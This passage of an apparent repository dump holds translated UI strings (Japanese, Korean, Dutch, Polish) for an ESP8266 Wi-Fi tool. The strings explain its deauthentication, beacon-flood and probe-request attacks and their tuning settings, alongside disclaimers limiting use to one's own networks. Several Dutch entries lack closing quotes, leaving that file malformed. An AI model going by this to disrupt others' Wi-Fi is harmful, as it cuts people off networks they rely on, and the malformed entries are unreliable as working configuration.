再読み込みのクリックによりパケットレートを更新します。\\n\",\n\t\"settings_info\": \"- いくつかの設定は再起動が必要です。\\n- 保存をクリックして変更を反映します。\\n\",\n\t\"info_disclaimer\": \"例外エラーが生じた場合はページの再読み込みと、デバッグのためにシリアルモニターを確認してください。\",\n\t\"start_stop\": \"開始 / 停止\",\n\t\"start\": \"開始\",\n\t\"stop\": \"停止\",\n\t\"wifi_off\": \"WiFiオフ\",\n\t\"reboot\": \"再起動\",\n\t\"reset\": \"リセット\",\n\t\"enable_random\": \"ランダムモード有効化\",\n\t\"disable_random\": \"ランダムモード無効化\",\n\t\"random_desc\": \"ランダムモードを有効にして、ランダムなSSIDを指定の間隔で生成します。\",\n\t\"deauth_desc\": \"選択したAPとクライアントに認証解除フレームを送信してWiFiデバイスの接続を閉じます。\\nこれは多くのデバイスが、この攻撃に対する保護をもたらす802.11w-2009標準に準じていないため可能になります。\\n- 1つだけ対象を選択してください! 異なるチャンネルの複数の対象に攻撃を開始すると、それらのチャンネルがすぐに切り替わりWebインターフェイスに再接続する機会がなくなります。\\n\",\n\t\"beacon_desc\": \"ビーコンパケットはアクセスポイントのアドバタイズに使用されます。ビーコンパケットの継続的な送信は、WiFiネットワークを新しく作成したかのように見えます。\\nSSID下のネットワーク名を指定できます。\",\n\t\"probe_desc\": \"探査リクエストはクライアントが近隣に既知のネットワークが存在するか問い合わせます。\\nこの攻撃はSSIDリストで指定されたネットワークへの問い合わせによってWiFiトラッカーを攪乱させます。\\nホームネットワークに対して、この攻撃による影響はみられないでしょう。\",\n\t\"setting_version\": \"バージョン v2.0.\\nこの設定はソースコード内でのみ変更できます。\",\n\t\"setting_ssid\" : \"Webインターフェイスで使用するアクセスポイントのSSID名(有効な場合)\\n1～31文字である必要があります。\",\n\t\"setting_password\": \"Webインターフェイスで使用するアクセスポイントのパスワード(有効な場合)\\n8～31文字である必要があります。\",\n\t\"setting_channel\": \"開始時に使用するデフォルトのWiFiチャンネル\",\n\t\"setting_hidden\": \"Webインターフェイスで使用するアクセスポイントを隠す(有効な場合)\",\n\t\"setting_captivePortal\": \"アクセスポイントのキャプティブポータルを有効にする(有効な場合)\",\n\t\"setting_autosave\": \"SSID/デバイス名/設定を自動保存\",\n\t\"setting_autosavetime\": \"自動保存の間隔(ミリ秒)\",\n\t\"setting_display\": \"ディスプレイインターフェイスを有効にする\",\n\t\"setting_displayTimeout\": \"非アクティブ時にディスプレイをオフにするまでの秒数\\n0でディスプレイタイムアウトが無効になります。\",\n\t\"setting_serial\": \"シリアルインターフェイスを有効化\\n無効にしないことを推奨します!\",\n\t\"setting_serialEcho\": \"シリアル経由のメッセージ毎のエコーを有効にする\",\n\t\"setting_web\": \"Webインターフェイスを有効にする\",\n\t\"setting_webSpiffs\": \"全てのWebファイルでSPIFFSを有効にする\",\n\t\"setting_led\": \"(RGB)LED機能を有効にする\",\n\t\"setting_maxch\": \"スキャンする最大チャンネル数\\nアメリカ = 11, EU = 13, 日本 = 14\",\n\t\"setting_macAP\": \"アクセスポイントモードで使用するMACアドレス\\n アクセスポイントモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。\",\n\t\"setting_macSt\": \"ステーションモードで使用するMACアドレス\\nステーションモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。\",\n\t\"setting_chtime\": \"順次スキャンで次に移るまでの個別のスキャンにかけるミリ秒(チャンネルホッピングが有効な場合のみ)\",\n\t\"setting_minDeauths\": \"スキャン時に認証解除モードにLEDを変更するときの認証解除フレームの最小数\",\n\t\"setting_attacktimeout\": \"指定時間(秒)後に自動的に攻撃を停止します。\\n0で無効になります。\",\n\t\"setting_forcepackets\": \"パケットの送信試行数\\n混雑したエリアで良好なパケットレートを実現したい場合は値を高く設定します。\\nこの設定がデバイスを遅く、より不安定にする可能性があることに注意してください。\\n最大値は255です!\",\n\t\"setting_deauthspertarget\": \"ターゲット毎に送信する認証解除・関連付け解除フレーム数\",\n\t\"setting_deauthReason\": \"認証解除フレームで理由コードが送信されることにより対象デバイスに、なぜ接続が閉じられるか知らせます。\",\n\t\"setting_beaconchannel\": \"有効にすると、ビーコン攻撃実行時に全フレームを異なるチャンネルに送信します。\",\n\t\"setting_beaconInterval\": \"有効にすると、ビーコンが毎秒送信されます。無効の場合は100ミリ秒の間隔を開けます。\\n間隔を長くするとパケットの安定性とスパムの低減をもたらしますが、スキャン時にクライアントがSSIDを見つけるまで時間を要する事があります。\",\n\t\"setting_randomTX\": \"探査リクエストフレームと送出ビーコンの送信出力をランダムにする\",\n\t\"setting_probesPerSSID\": \"SSID毎に送信する探査リクエストフレーム数\",\n\t\"setting_lang\": \"Webインターフェイスのデフォルト言語\\n言語ファイルが存在するか確認してください!\"\n}"
  },
  {
    "path": "web_interface/lang/ko.lang",
    "content": "{\r\n    \"lang\": \"ko\",\r\n    \"warning\": \"경고\",\r\n    \"disclaimer\": \"이 프로젝트는 교육목적 또는 테스트를 위해 만들어졌습니다.\\nESP8266외 다른기기에서 오류가 발생할수 있습니다!\\n\\n절대로 공공장소에서 사용하지마세요 자신 네트워크 장치에서만 사용하세요!\\n\\nIEEE 802.11 표준에 설명된 유효한 Wi-Fi 프레임을 사용하며 그외 다른 주파수를 차단하거나 방해하지 않습니다.\\n해당 장치를 사용하기전에 이용중인 국가의 규정을 확인하세요.\\n\\n제발 이 프로젝트명을 \\\"재머\\\", 라고 칭하지말아주세요! 저희는 재머 용도로 프로젝트를 진행한게 아닙니다!\\n만약 당신이 재머라고 부르면 당신은 이 프로젝트를 이해를 못했다고 생각합니다.\\n적절한 설명 없이 이것을 실행한다면 추후 문제가 발생할 가능성이 높습니다.\\n\\n자세한 내용은 아래 링크를 접속해서 확인해주세요 :)\",\r\n\t\"disclaimer-button\": \"저는 위 경고를 모두 읽고 이해를 했습니다\",\r\n\t\"reload\": \"리로드\",\r\n\t\"scan\": \"스캔\",\r\n\t\"ssids\": \"SSID설정\",\r\n\t\"attacks\": \"공격\",\r\n\t\"settings\": \"설정\",\r\n\t\"info\": \"정보\",\r\n\t\"info_span\": \"정보: \",\r\n\t\"all\": \"전체\",\r\n\t\"channel\": \"채널\",\r\n\t\"devices\": \"기기 저장\",\r\n\t\"select_all\": \"전체선택\",\r\n\t\"deselect_all\": \"전체선택취소\",\r\n\t\"remove_all\": \"전체 삭제\",\r\n\t\"station_scan_time\": \"스테이션 스캔 시간\",\r\n\t\"new\": \"새로 만들기\",\r\n\t\"save\": \"저장\",\r\n\t\"add\": \"추가\",\r\n\t\"add_selected\": \"선택한 AP 복제\",\r\n\t\"overwrite\": \"덮어쓰기\",\r\n\t\"time_interval\": \"시간간격\",\r\n\t\"number\": \"개수\",\r\n\t\"targets\": \"타켓 수\",\r\n\t\"scan_info\": \"- 스캔하는 동안 보드에 파란색 혹식 녹색 LED가 들어옵니다 작동중이라는 표시이니 기다리세요.\\n- 스테이션 스캔을 진행하고있을떄 웹 인터페이스가 잠시 멈추니 재연결해야합니다.\\n- 오직 대상을 하나만 선택하세요!\\n\",\r\n\t\"ssids_info\": \"- 이 SSID 목록은 Beacon과 Probe 공격에 사용합니다.\\n- 각 SSID는 최대 32자리 까지 가능합니다. 한국어는 신호가 약하거나 SSID가 적게 나올수도있습니다.\\n- SSID를 편집할때 저장을 클릭하는 것을 잊지 마세요.\\n- SSID를 복제하고 리로드를 해야합니다.\\n\",\r\n\t\"attack_info\": \"- 공격도중 연결이 Wi-Fi가 끊어질때도 있습니다!\\n- Deauth 공격은 공격 대상을 지정해야합니다.\\n- Beacon과 Probe 공격을 위해서는 SSID를 저장해야합니다.\\n- 패킷 속도를 새로 볼려면 리로드를 클릭하세요.\\n\",\r\n\t\"settings_info\": \"- 일부 설정은 재부팅이 필요합니다.\\n- 변경내용을 적용하실려면 저장을 클릭하세요.\\n\",\r\n\t\"info_disclaimer\": \"예기치 않은 오류가 생길경우 리로드를 하고 디버깅을 위해 모니터를 연결하세요. 모니터가 없을시 무시하세요.\",\r\n\t\"start_stop\": \"실행 / 중지\",\r\n\t\"start\": \"실행\",\r\n\t\"stop\": \"중지\",\r\n\t\"wifi_off\": \"와이파이 끄기\",\r\n\t\"reboot\": \"재부팅\",\r\n\t\"reset\": \"리셋\",\r\n\t\"enable_random\": \"랜덤모드 활성화\",\r\n\t\"disable_random\": \"랜덤모드 비활성화\",\r\n\t\"random_desc\": \"랜덤모드 활성화시 설정하신 시간마다 SSID목록을 새로 생성합니다.\",\r\n\t\"deauth_desc\": \"Deauth 공격은 선택한 AP에 클라이언트 장치에 인증 해제 프레임을 전송하여 Wi-Fi연결에 장애를 발생합니다.\\n많은 장치가 공격에 대한 보호를 제공하는 802.11w-2009표준을 사용하지 않을 경우 사용이 가능합니다 요약하자면 대부분 Wi-Fi에서는 공격이 가능합니다.\\n- 공격대상을 하나만 선택하세요! 다른 채널에서 실행되는 Wi-Fi를 선택하고 공격하면 채널간 빠르게 전환되며 웹 인터페이스에 다시 연결하기가 어렵습니다.\\n\",\r\n\t\"beacon_desc\": \"Beacon 공격은 Wi-Fi를 여러개 생성하여 Wi-Fi네트워크를 만든것처럼 보이는 공격기술입니다.\\nSSID설정에서 Wi-Fi이름을 선택이 가능합니다.\",\r\n\t\"probe_desc\": \"알려진 네트워크가 근처에 있는지 확인하기 위해 클라우드장치에서 Prob 요청을 보냅니다.\\nSSID목록에 지정한 네트워크를 요청하여 Wi-Fi 추적기를 혼동하려면 이 공격방법을 사용하세요.\\n이 공격이 가정집에 미치는 영향을 볼 가능성은 적습니다.\",\r\n\t\"setting_version\": \"버전 번호 예시) v2.0.\\n이 설정은 소스코드에서만 변경이 가능합니다.\",\r\n\t\"setting_ssid\" : \"웹인터페이스에서 사용하는 SSID\\nSSID는 1~31자 사이여야 합니다.\",\r\n\t\"setting_password\": \"웹인터페이스에 사용되는 Wi-Fi 비밀번호를 설정이 가능합니다.\\n8~31자리여야합니다\",\r\n\t\"setting_channel\": \"웹인터페이스에 사용되는 Wi-Fi의 채널을 설정할 수 있습니다.\",\r\n\t\"setting_hidden\": \"웹인터페이스 Wi-Fi를 숨길 수 있습니다.\",\r\n\t\"setting_captivePortal\": \"캡티브 포털 활성화 여부를 선택할 수 있습니다.\",\r\n\t\"setting_autosave\": \"SSID와 장치이름을 자동으로 저장합니다.\",\r\n\t\"setting_autosavetime\": \"자동저장 시간간격 (밀리초 단위)\",\r\n\t\"setting_display\": \"디스플레이 인터페이스 활성화 여부를 선택할 수 있습니다.\",\r\n\t\"setting_displayTimeout\": \"비활성화 상태일때 디스플레이가 꺼지는 시간 (초단 위)\\n디스플레이 꺼짐 시간을 비활성화 할려면 0으로 설정하세요.\",\r\n\t\"setting_serial\": \"시리얼 인터페이스 활성화 여부를 선택 할 수 있습니다.\\n비활성화를 추천드립니다.\",\r\n\t\"setting_serialEcho\": \"시리얼을 통해 들어오는 각 메시지에 에코 활성화 여부를 선택 할 수 있습니다.\",\r\n\t\"setting_web\": \"웹인터페이스 사용여부를 선택 할 수 있습니다.\",\r\n\t\"setting_webSpiffs\": \"모든 웹파일 SPIFFS 사용\",\r\n\t\"setting_led\": \"LED기능 활성화 여부를 선택 할 수 있습니다.\",\r\n\t\"setting_maxch\": \"최대 검색 채널\\n미국 = 11, 유럽 = 13, 일본 = 14.\",\r\n\t\"setting_macAP\": \"웹인터페이스 Wi-Fi에 사용하는 MAC주소를 정해주세요.\\nMAC주소 지정시 내부 MAC주소를 대체합니다. 주의해주세요.\",\r\n\t\"setting_macSt\": \"스테이션모드에서 사용되는 MAC주소\\n스테이션모드가 활성화된 경우 내부 MAC주소를 대체합니다. 주의해주세요.\",\r\n\t\"setting_chtime\": \"채널 호핑이 활성화중일때, 다음 채널로 이동하기 전에 한 채널을 검색하기 위한 시간입니다 (밀리초 단위)\",\r\n\t\"setting_minDeauths\": \"LED를 삭제 모드로 변경하기 위해 검색할때 최소 인증프레임 수입니다.\",\r\n\t\"setting_attacktimeout\": \"공격도중 지정한 시간후 공격이 자동으로 멈춥니다 (초 단위)\\n0으로 설정할시 비활성화됩니다.\",\r\n\t\"setting_forcepackets\": \"패킷을 전송 시도 횟수\\n사용량이 많은 지역에서 더 나은 패킷 비율을 얻으려면 이 값을 더 높게 설정해야합니다.\\n이값을 변경시 장치가 느리거나 불안정해질수 있습니다. 주의하세요.\\n최대값은 255입니다!\",\r\n\t\"setting_deauthspertarget\": \"각 대상에 대해 발송되는 인증 및 연결 해제 프레임 수.\",\r\n\t\"setting_deauthReason\": \"공격대상 장치에 연결이 끊어지는 이유를 알리기위해 Deauth 프레임과 함께 전송되는 이유 코드\",\r\n\t\"setting_beaconchannel\": \"활성화되면 Beacon 공격을 실행할때 다른 채널의 모든 프레임을 보냅니다.\",\r\n\t\"setting_beaconInterval\": \"true로 설정하면 Beacon이 매초마다 전송됩니다. false로 설정하면 간격은 100ms입니다.\\n더 긴 간격은 더 많은 안정성과 적은 패킷공격을 의미하지만 클라이언트가 스캔할 때 SSID를 찾을 때까지 더 오래 시간이 걸릴 수 있습니다.\",\r\n\t\"setting_randomTX\": \"Beacon또는 Probe 요청 프레임을 보내기 위해 무작위 전송 전력을 활성화합니다.\",\r\n\t\"setting_probesPerSSID\": \"각 SSID에 대해 전송된 Probe 요청 프레임 수입니다.\",\r\n\t\"setting_lang\": \"웹인터페이스 언어를 선택 할 수 있습니다.\\n언어파일이 있는지 확인해주세요.\"\r\n}"
  },
  {
    "path": "web_interface/lang/nl.lang",
    "content": " { \n    \"lang\": \"nl\",\n    \"warning\": \"WAARSCHUWING\",\n    \"disclaimer\": \"Dit project is een proof of concept voor test- en educatieve doeleinden. \\ nNoch de ESP8266, noch de SDK is bedoeld of gebouwd voor deze doeleinden. Er kunnen bugs optreden! \\ n \\ nGebruik het alleen voor uw eigen netwerken en apparaten ! \\ n \\ nHet maakt gebruik van geldige Wi-Fi-frames zoals beschreven in de IEEE 802.11-standaard en blokkeert of verstoort geen frequenties. \\ nControleer de wettelijke voorschriften in uw land voordat u het gebruikt. \\ n \\ nRaadpleeg dit project niet als \\ \"jammer \\\", dat ondermijnt het werkelijke doel van dit project volledig! \\ nAls je dat doet, bewijst het alleen dat je niets begreep van waar dit project voor staat. \\ nPubliceren van inhoud hierover zonder een goede uitleg laat zien dat je het alleen doet voor de kliks, roem en / of geld en geen respect hebt voor intellectueel eigendom, de gemeenschap erachter en de strijd voor een betere wifi-standaard. \\ n \\ nVoor meer informatie bezoek:\",\n\t\"disclaimer-button\": \"Ik heb de bovenstaande informatie gelezen en begrepen\",\n\t\"reload\": \"Opnieuw laden\",\n\t\"scan\": \"Scan\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"Aanvallen\",\n\t\"settings\": \"Instellingen\",\n\t\"info\": \"Info\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Allemaal\",\n\t\"channel\": \"Kanaal\",\n\t\"devices\": \"Opgeslagen apparaten\",\n\t\"select_all\": \"Alles selecteren\",\n\t\"deselect_all\": \"Deselecteer alles\",\n\t\"remove_all\": \"Verwijder alles\",\n\t\"station_scan_time\": \"Station Scan Tijd\",\n\t\"new\": \"Nieuw\",\n\t\"save\": \"Opslaan\",\n\t\"add\": \"Toevoegen\",\n\t\"add_selected\": \"Geselecteerde AP's klonen\",\n\t\"overwrite\": \"Overschrijven\",\n\t\"time_interval\": \"Tijdsinterval\",\n\t\"number\": \"Nummer\",\n\t\"targets\": \"Doelen\",\n\t\"scan_info\": \"-Klik op Scannen en wacht tot de blauwe LED op je bord uitgaat (of verandert in groen), klik dan op Opnieuw laden. \\ n- De webinterface zal niet beschikbaar zijn tijdens een stationscan en je moet opnieuw verbinding maken ! \\ n- Selecteer slechts één doel! \\ n\",\n\t\"ssids_info\": \"- Deze SSID-lijst wordt gebruikt voor de beacon- en sonde-aanval. \\ n- Elke SSID kan maximaal 32 tekens lang zijn. \\ n- Vergeet niet op opslaan te klikken wanneer u een SSID hebt gewijzigd. \\ n- U moeten op Opnieuw laden klikken na het klonen van SSID's. \\ n \",\n\t\"attack_info\": \"- U kunt de verbinding verliezen wanneer u een aanval start! \\ n- U moet een doelwit selecteren voor de deauth-aanval. \\ n- U hebt een opgeslagen SSID nodig voor de beacon- en sonde-aanval. \\ n- Klik op herladen om vernieuw de pakketsnelheid. \\ n \",\n\t\"settings_info\": \"- Sommige instellingen vereisen een herstart. \\ n- Klik op opslaan om er zeker van te zijn dat uw wijzigingen worden toegepast. \\ n\",\n\t\"info_disclaimer\": \"In het geval van een onverwachte fout, graag de site opnieuw laden en naar de seriële monitor te kijken voor verdere fout opsporing.\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"WiFi Uit\",\n\t\"reboot\": \"Herstart\",\n\t\"reset\": \"Reset\",\n\t\"enable_random\": \"Schakel willekeurige modus in\",\n\t\"disable_random\": \"Schakel willekeurige modus uit\",\n\t\"random_desc\": \"Schakel de willekeurige modus in om een ​​willekeurige SSID-lijst met op interval te genereren.\",\n\t\"deauth_desc\": \"Verbreekt de verbinding van WiFi-apparaten door deauthenticatieframes te verzenden naar toegangspunten en clientapparaten die u hebt geselecteerd. \\ nDit is alleen mogelijk omdat veel apparaten de 802.11w-2009-standaard niet gebruiken die hiertegen bescherming biedt aanval. \\ n- Selecteer slechts één doelwit! Als je meerdere doelen selecteert die op verschillende kanalen draaien en de aanval start, zal het snel schakelen tussen die kanalen en heb je geen kans om opnieuw verbinding te maken met de webinterface. \\ n \",\n\t\"beacon_desc\": \"Beacon-pakketten worden gebruikt om toegangspunten te adverteren. Door continu beacon-pakketten te verzenden, zal het lijken alsof u nieuwe WiFi-netwerken hebt gemaakt. \\ nU kunt de netwerknamen specificeren onder SSID's.\",\n\t\"probe_desc\": \"Probe-verzoeken worden verzonden door clientapparaten om te vragen of er een bekend netwerk in de buurt is. \\ nGebruik deze aanval om wifi-trackers te verwarren door te vragen naar netwerken die u hebt opgegeven in de SSID-lijst. \\ nHet is onwaarschijnlijk dat u enige impact zult zien door deze aanval met uw thuisnetwerk. \",\n\t\"setting_version\": \"Versienummer, d.w.z. v2.0. \\ nDeze instelling kan alleen in de source code worden gewijzigd.\",\n\t\"setting_ssid\" : \"SSID van toegangspunt gebruikt voor de webinterface (indien ingeschakeld). \\ nDe lengte moet tussen 1 en 31 tekens zijn.\",\n\t\"setting_password\": \"Wachtwoord van toegangspunt gebruikt voor de webinterface (indien ingeschakeld). \\ nDe lengte moet tussen 8 en 31 tekens zijn.\",\n\t\"setting_channel\": \"Standaard WiFi-kanaal dat wordt gebruikt bij het starten.\",\n\t\"setting_hidden\": \"Verbergt het toegangspunt dat wordt gebruikt voor de webinterface (indien ingeschakeld).\",\n\t\"setting_captivePortal\": \"Schakelt captive portal in voor toegangspunt (indien ingeschakeld)\",\n\t\"setting_autosave\": \"Maakt automatisch opslaan van SSID's, apparaatnamen en instellingen mogelijk.\",\n\t\"setting_autosavetime\": \"Tijdsinterval voor automatisch opslaan in milliseconden.\",\n\t\"setting_display\": \"Schakelt weergave-interface in.\",\n\t\"setting_displayTimeout\": \"Tijd in seconden waarna het scherm wordt uitgeschakeld wanneer het inactief is. \\ nOm de schermtime-out uit te schakelen, stelt u deze in op 0.\",\n\t\"setting_serial\": \"Schakelt seriële interface in. \\ nHet wordt aanbevolen om deze niet uit te schakelen!\",\n\t\"setting_serialEcho\": \"Maakt echo mogelijk voor elk inkomend bericht via serieel.\",\n\t\"setting_web\": \"Schakelt webinterface in.\",\n\t\"setting_webSpiffs\": \"Schakelt SPIFFS in voor alle webbestanden.\",\n\t\"setting_led\": \"Schakelt de (RGB) LED-functie in.\",\n\t\"setting_maxch\": \"Max. kanaal om op te scannen. \\ nUS = 11, EU = 13, Japan = 14.\",\n\t\"setting_macAP\": \"MAC-adres gebruikt voor de toegangspuntmodus. \\ nHoud er rekening mee dat het MAC-adres alleen het interne MAC-adres zal vervangen wanneer de toegangspuntmodus is ingeschakeld.\",\n\t\"setting_macSt\": \"MAC-adres dat wordt gebruikt voor de stationmodus. \\ nHoud er rekening mee dat het MAC-adres alleen het interne MAC-adres zal vervangen wanneer de stationmodus is ingeschakeld.\n\t\"setting_chtime\": \"Tijd voor het scannen van een kanaal alvorens naar het volgende te gaan in milliseconden (alleen als kanaalhoppen is ingeschakeld).\",\n\t\"setting_minDeauths\": \"Minimum aantal deauthenticatieframes bij het scannen om de LED in de deauth-modus te veranderen.\",\n\t\"setting_attacktimeout\": \"Na hoeveel tijd (in seconden) zal de aanval automatisch stoppen. \\ nStel het in op 0 om het uit te schakelen.\",\n\t\"setting_forcepackets\": \"Hoeveel pogingen om een ​​pakket te verzenden. \\ nStel deze waarde hoger in als je een betere pakketsnelheid wilt bereiken in een drukke omgeving. \\ nWees voorzichtig dat deze instelling het apparaat langzamer of instabieler kan maken. \\ nMax waarde is 255! \",\n\t\"setting_deauthspertarget\": \"Hoeveel deauthenticatie- en disassociatieframes worden verzonden voor elk doel.\",\n\t\"setting_deauthReason\": \"De redencode die met de deauth-frames wordt verzonden om het doelapparaat te vertellen waarom de verbinding wordt verbroken.\n\t\"setting_beaconchannel\": \"Indien ingeschakeld, worden alle frames op verschillende kanalen verzonden wanneer een beacon-aanval wordt uitgevoerd.\",\n\t\"setting_beaconInterval\": \"Indien ingesteld op true, worden beacons elke seconde verzonden. Indien ingesteld op false, is het interval 100 ms. \\ nEen langer interval betekent meer stabiliteit en minder spamming van pakketten, maar het kan langer duren voordat de clients de ssids bij het scannen. \",\n\t\"setting_randomTX\": \"Maakt willekeurig zendvermogen mogelijk voor het verzenden van baken- en sonde-verzoekframes.\",\n\t\"setting_probesPerSSID\": \"Hoeveel testverzoekframes worden verzonden voor elke SSID.\",\n\t\"setting_lang\": \"Standaardtaal voor de webinterface. \\ nZorg ervoor dat het taalbestand bestaat!\"\n}"
  },
  {
    "path": "web_interface/lang/pl.lang",
    "content": "{\n    \"lang\": \"pl\",\n    \"warning\": \"OSTRZEŻENIE\",\n    \"disclaimer\": \"Ten projekt jest dowodem pomysłu który służy do celów testowych i edukacyjnych.\\nAni ESP8266, ani jego SDK nie były przeznaczone i zbudowane do takich celów. Mogą występować błędy!\\n\\nUżywaj go tylko na swoich sieciach i urządzeniach!\\n\\nUżywa prawidłowych ramek Wi-Fi w standardzie IEEE 802.11 i nie blokuje ani nie zakłóca żadnych częstotliwości.\\nSprawdź regulacje prawne w swoim kraju przed jego użyciem.\\n\\nProszę nie odnoś się do tego projektu jako \\\"jammer\\\", to całkowicie podważa prawdziwy cel tego projektu!\\nJeśli to robisz, to tylko pokazuje że nie masz pojęcia po co powstał ten projekt.\\nPublikowanie treści o tym bez prawidłowego wyjaśnienia oznacza że robisz to tylko dla kliknięć, sławy i/lub pieniędzy i nie masz szacunku dla własności intelektualnej, społeczności za tym stojącej i walki o lepszy standard WiFi.\\n\\nPo więcej informacji odwiedź:\",\n\t\"disclaimer-button\": \"Przeczytałem i zrozumiałem powyższe informacje\",\n\t\"reload\": \"Przeładuj\",\n\t\"scan\": \"Skanowanie\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"Ataki\",\n\t\"settings\": \"Ustawienia\",\n\t\"info\": \"Informacje\",\n\t\"info_span\": \"INFORMACJE: \",\n\t\"all\": \"Wszystkie\",\n\t\"channel\": \"Kanał\",\n\t\"devices\": \"Zapisane urządzenia\",\n\t\"select_all\": \"Zaznacz wszystko\",\n\t\"deselect_all\": \"Odznacz wszystko\",\n\t\"remove_all\": \"Usuń wszystkio\",\n\t\"station_scan_time\": \"Czas skanowania stacji\",\n\t\"new\": \"Nowy\",\n\t\"save\": \"Zapisz\",\n\t\"add\": \"Dodaj\",\n\t\"add_selected\": \"Sklonuj zaznaczone AP\",\n\t\"overwrite\": \"Nadpisz\",\n\t\"time_interval\": \"Przedział czasu\",\n\t\"number\": \"Numer\",\n\t\"scan_info\": \"- Kliknij Scan i poczekaj aż niebieski LED na płytce się wyłączy (lub zmieni kolor na zielony), wtedy kliknij Reload.\\n- Interfejs sieciowy jest niedostępny podczas skanowania stacji, i będziesz musiał połączyć się ponownie!\\n- Wybierz tylko jeden cel!\\n\",\n\t\"ssids_info\": \"- Ta lista SSID jest używana do ataków Beacon i Probe.\\n- Każdy identyfikator SSID może mieć do 32 znaków.\\n- Nie zapomnij kliknąć Save kiedy edytowałeś SSID.\\n- Musisz kliknąć Reload po klonowaniu SSID.\\n\",\n\t\"attack_info\": \"- Możesz utracić połączenie podczas startowania ataku!\\n- Musisz wybrać cel do ataku Deauth.\\n- Potrzebujesz zapisanego SSID do ataków Beacon i Probe.\\n- Kliknij Reload żeby odświeżyć szybkość pakietów.\\n\",\n\t\"settings_info\": \"- Niektóre ustawienia wymagają ponownego uruchomienia.\\n- Kliknij Save aby upewnić się że twoje zmiany są zastosowane.\\n\",\n\t\"info_disclaimer\": \"W przypadku nieoczekiwanego błędu ponownie załaduj witrynę, i spójrz na monitor szeregowy w celu dalszego debugowania.\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"Wyłącz WiFi\",\n\t\"reboot\": \"Uruchom ponownie\",\n\t\"reset\": \"Resetuj\",\n\t\"enable_random\": \"Włącz tryb losowy\",\n\t\"disable_random\": \"Wyłącz tryb losowy\",\n\t\"random_desc\": \"Włącz tryb losowy, aby wygenerować losowe identyfikatory SSID w określonym przedziale.\",\n\t\"deauth_desc\": \"Zamyka połączenie urządzeń Wi-Fi, wysyłając ramki dezautoryzujące do wybranych punktów dostępu i ich klientów.\\nJest to możliwe tylko dlatego, że wiele urządzeń nie korzysta ze standardu 802.11w-2009, który zapewnia ochronę przed tym atakiem.\\n- Wybierz tylko jeden cel! Kiedy wybierzesz wiele celów, które działają na różnych kanałach i rozpoczniesz atak, szybko przełącza się między tymi kanałami i nie masz szans na ponowne połączenie się z interfejsem internetowym.\\n\",\n\t\"beacon_desc\": \"Pakiety beacon są używane do rozgłaszania punktów dostępu. Ciągłe wysyłanie pakietów beacon będzie wyglądać tak, jakbyś utworzył nowe sieci WiFi.\\nMożesz określić nazwy sieci w zakładce SSID.\",\n\t\"probe_desc\": \"Żądania sond są wysyłane przez klientów z pytaniem, czy w pobliżu znajduje się znana sieć. .\\nUżyj tego ataku, aby zmylić elementy śledzące Wi-Fi, prosząc o sieci określone na liście SSID.\\nPrawdopodobne nie zauważysz wpływu tego ataku na twoją domową sieć.\",\n\t\"setting_version\": \"Numer wersji, np. v2.0.\\nTo ustawienie może być zmienione tylko w kodzie źródłowym.\",\n\t\"setting_ssid\" : \"SSID punktu dostępu używanego do tej strony (jeśli włączona).\\nDługość musi być pomiędzy 1 a 31.\",\n\t\"setting_password\": \"Hasło punktu dostępu używanego do tej strony (jeśli włączona).\\nDługość musi być pomiędzy 8 a 31.\",\n\t\"setting_channel\": \"Domyślna stacja WiFi używana na starcie.\",\n\t\"setting_hidden\": \"Ukrywa punkt dostępu który jest używany do interfejsu sieciowego (jeśli włączony).\",\n\t\"setting_captivePortal\": \"Włącza portal dostępowy dla punktu dostępu (jeśli jest włączony).\",\n\t\"setting_autosave\": \"Włącza automatyczny zapis SSID, nazw urządzeń i ustawień.\",\n\t\"setting_autosavetime\": \"Przedział czasu dla automatycznego zapisu w milisekundach.\",\n\t\"setting_display\": \"Włącza interfejs wyświetlacza.\",\n\t\"setting_displayTimeout\": \"Czas w sekundach po którym ekran zgaśnie jeśli jest nieaktywny.\\nAby zablokować limit czasu wyświetlania, ustaw to na 0.\",\n\t\"setting_serial\": \"Włącza interfejs szeregowy.\\nLepiej tego nie wyłączać!\",\n\t\"setting_serialEcho\": \"włącza echo dla każdej wiadomości przychodzącej przez łącze szeregowe.\",\n\t\"setting_web\": \"Włącza interfejs sieciowy.\",\n\t\"setting_webSpiffs\": \"Włącza SPIFFS dla wszystkich plików internetowych.\",\n\t\"setting_led\": \"Włącza funkcje (RGB) LED.\",\n\t\"setting_maxch\": \"Maksymalny kanał do skanowania.\\nUS = 11, Europa = 13, Japonia = 14.\",\n\t\"setting_macAP\": \"Adres MAC używany do punktu dostępu (AP).\\nNależy pamiętać, że adres MAC zastąpi wewnętrzny adres MAC tylko wtedy, gdy włączony jest tryb punktu dostępu.\",\n\t\"setting_macSt\": \"Adres MAC używany do trybiu stacji.\\nNależy pamiętać, że adres MAC zastąpi wewnętrzny adres MAC tylko wtedy, gdy włączony jest tryb stacji.\",\n\t\"setting_chtime\": \"Czas skanowania jednego kanału przed przejściem do następnego w milisekundach (tylko jeśli włączone jest przeskakiwanie kanałów).\",\n\t\"setting_minDeauths\": \"Minimalna liczba ramek deautoryzacji podczas skanowania w celu zmiany diody LED w tryb deauth.\",\n\t\"setting_attacktimeout\": \"Po jakim czasie (w sekundach) atak ma się zatrzymać.\\nUstaw na 0 aby wyłączyć.\",\n\t\"setting_forcepackets\": \"Ile prób wysłania pakietu.\\nUstaw tę wartość wyższą, jeśli chcesz uzyskać lepszą szybkość pakietów w ruchliwym obszarze.\\nOstrożnie, to ustawienie może spowodować że urządzenie będzie wolniejsze lub mniej stabilne.\\nMaksymalna wartość to 255!\",\n\t\"setting_deauthspertarget\": \"Ile ramek deautoryzacji i dysocjacji jest wysyłanych dla każdego celu.\",\n\t\"setting_deauthReason\": \"Kod przyczyny wysyłany z ramkami deautoryzacji w celu poinformowania urządzenia docelowego, dlaczego połączenie zostanie zamknięte.\",\n\t\"setting_beaconchannel\": \"Jeśli włączone, ramki będa wysyłane na różnych kanałach podczas ataku beacon.\",\n\t\"setting_beaconInterval\": \"Jeśli ustawione na true, sygnały nawigacyjne będą wysyłane co sekundę. Jeśli ustawione na false, interwał będzie wynosił 100 ms.\\nDłuższy interwał 